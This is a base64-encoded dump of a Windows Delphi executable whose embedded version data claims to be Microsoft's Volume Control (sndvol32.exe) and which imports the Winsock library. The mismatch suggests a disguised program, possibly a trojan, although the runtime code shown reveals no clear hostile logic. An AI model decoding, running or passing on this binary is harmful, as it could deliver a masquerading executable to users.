wANybCN4XSO2pfMZQ/NAAibREccBAADMAQAAAB9XU09DSzMyLkRMTAAEAAAA Ad1zb3VuZHYADEtXaW5kb3dzAADHU3lzdGVtAACBU3lzSW5pdAAAAAABAAIA ICAQAAEABADoAgAAAQAQEBAAAQAEACgBAAACAAAAMAM0AAAAVgBTAF8AVgBF AFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEACgAEAAAAAAAKAAQA AAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAACQAgAAAABTAHQAcgBp AG4AZwBGAGkAbABlAEkAbgBmAG8AAABsAgAAAAAwADQAMAAyADAANABFADMA AABMABYAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAE0AaQBjAHIAbwBz AG8AZgB0ACAAQwBvAHIAcABvAHIAYQB0AGkAbwBuAAAARgAPAAEARgBpAGwA ZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAFYAbwBsAHUAbQBlACAAQwBv AG4AdAByAG8AbAAAAAAAKgAFAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAA AAA0AC4AMQAwAAAAAAA6AA0AAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAA AHMAbgBkAHYAbwBsADMAMgAuAGUAeABlAAAAAAB0ACgAAQBMAGUAZwBhAGwA QwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgACgAQwAp ACAATQBpAGMAcgBvAHMAbwBmAHQAIABDAG8AcgBwAC4AIAAxADkAOAAxAC0A MQA5ADkAOAAAAD4ACwABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBt AGUAAABzAG4AZAB2AG8AbAAuAGUAeABlAAAAAAByACkAAQBQAHIAbwBkAHUA YwB0AE4AYQBtAGUAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACgAUgApACAAVwBp AG4AZABvAHcAcwAoAFIAKQAgAE8AcABlAHIAYQB0AGkAbgBnACAAUwB5AHMA dABlAG0AAAAAAC4ABQABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAA ADQALgAxADAAAAAAAEQAAAAAAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAA JAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAACBOMEAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVpQAAIAAAAEAA8A //8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBy dW4gdW5kZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQgAGV5CKgAAAAAAAAAA4ACOgQsB AhkALgAAABoAAAAAAAAQPAAAABAAAABAAAAAAEAAABAAAAACAAABAAAAAAAA AAQAAAAAAAAAALAAAAAEAAAAAAAAAgAAAAAAEAAAQAAAAAAQAAAQAAAAAAAA EAAAAAAAAAAAAAAAAGAAADgGAAAAoAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAA kAAAQAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAYAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ09E RQAAAABELAAAABAAAAAuAAAABAAAAAAAAAAAAAAAAAAAIAAAYERBVEEAAAAA +AAAAABAAAAAAgAAADIAAAAAAAAAAAAAAAAAAEAAAMBCU1MAAAAAANkEAAAA UAAAAAAAAAA0AAAAAAAAAAAAAAAAAAAAAADALmlkYXRhAAA4BgAAAGAAAAAI AAAANAAAAAAAAAAAAAAAAAAAQAAAwC50bHMAAAAACAAAAABwAAAAAAAAADwA AAAAAAAAAAAAAAAAAAAAAMAucmRhdGEAABgAAAAAgAAAAAIAAAA8AAAAAAAA AAAAAAAAAABAAABQLnJlbG9jAABAAwAAAJAAAAAEAAAAPgAAAAAAAAAAAAAA AAAAQAAAUC5yc3JjAAAAAAoAAACgAAAACgAAAEIAAAAAAAAAAAAAAAAAAEAA AFAAAAAAAAAAAAAAAAAAsAAAAAAAAABMAAAAAAAAAAAAAAAAAABAAABQAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8lSGFAAIvA/yVEYUAAi8D/JUBhQACL wP8lPGFAAIvA/yU4YUAAi8D/JTRhQACLwP8lMGFAAIvA/yUsYUAAi8D/JShh QACLwP8lJGFAAIvA/yUgYUAAi8D/JRxhQACLwP8lGGFAAIvA/yVUYUAAi8D/ JRRhQACLwP8lEGFAAIvA/yUMYUAAi8D/JQhhQACLwP8lBGFAAIvA/yUAYUAA i8D/JfxgQACLwP8l+GBAAIvA/yX0YEAAi8D/JfBgQACLwP8lZGFAAIvA/yVg YUAAi8D/JVxhQACLwP8l7GBAAIvA/yVsYUAAi8BTg8S8uwoAAABU6KH////2 RCQsAXQFD7dcJDCLw4PERFvDi8D/JehgQACLwP8l5GBAAIvA/yXgYEAAi8D/ JdxgQACLwP8l2GBAAIvA/yXUYEAAi8D/JdBgQACLwP8lzGBAAIvAU1a+PFRA AIM+AHU6aEQGAABqAOio////i8iFyXUFM8BeW8OhOFRAAIkBiQ04VEAAM9KL wgPAjUTBBIseiRiJBkKD+mR17IsGixCJFl5bw5CJAIlABMOLwFNWi/KL2Oid ////hcB1BTPAXlvDixaJUAiLVgSJUAyLE4kQiVgEiUIEiQOwAV5bw4tQBIsI iQqJUQSLFTxUQACJEKM8VEAAw1NWV1VRi/GJFCSL6ItdAIsEJIsQiRaLUASJ VgSLO4tDCIvQA1MMOxZ1FIvD6Lf///+LQwiJBotDDAFGBOsWixYDVgQ7wnUN i8Pomv///4tDDAFGBIvfO+t1wovWi8XoVf///4TAdQQzwIkGWl1fXlvDjUAA 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 